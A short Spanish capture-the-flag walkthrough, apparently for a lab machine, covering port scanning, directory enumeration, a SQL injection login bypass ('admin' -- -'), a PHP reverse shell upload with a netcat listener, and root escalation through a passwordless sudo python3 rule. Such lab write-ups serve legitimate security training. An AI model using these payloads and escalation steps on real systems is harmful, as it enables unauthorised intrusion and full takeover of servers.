Pequeñas-Mentirosas

Reconocimiento

Empezamos con un escaneo de puertos para ver qué tenemos:

nmap -sV -sC -p- --min-rate 5000 10.10.11.X -oN scan.txt

Resultado:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
22/tcp open  ssh     OpenSSH 8.4p1

Enumeración Web

Accedemos al puerto 80 y encontramos un panel de login. Tiramos feroxbuster para buscar más rutas:

feroxbuster -u http://10.10.11.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Encontramos /admin, /backup y /config.php.

Explotación

El panel de login es vulnerable a SQLi básica:

Usuario: admin' -- -
Password: anything

Entramos directamente como admin. Desde el panel podemos subir archivos — subimos una reverse shell PHP.

nc -lvnp 4444

Escalada de Privilegios

Comprobamos sudo:

sudo -l

(ALL) NOPASSWD: /usr/bin/python3

¡Perfecto! Escalamos a root:

sudo python3 -c 'import os; os.system("/bin/bash")'

root@pequeñas-mentirosas:~# id
uid=0(root) gid=0(root)

Flags

User: 7a9f3c...
Root: b3e12d...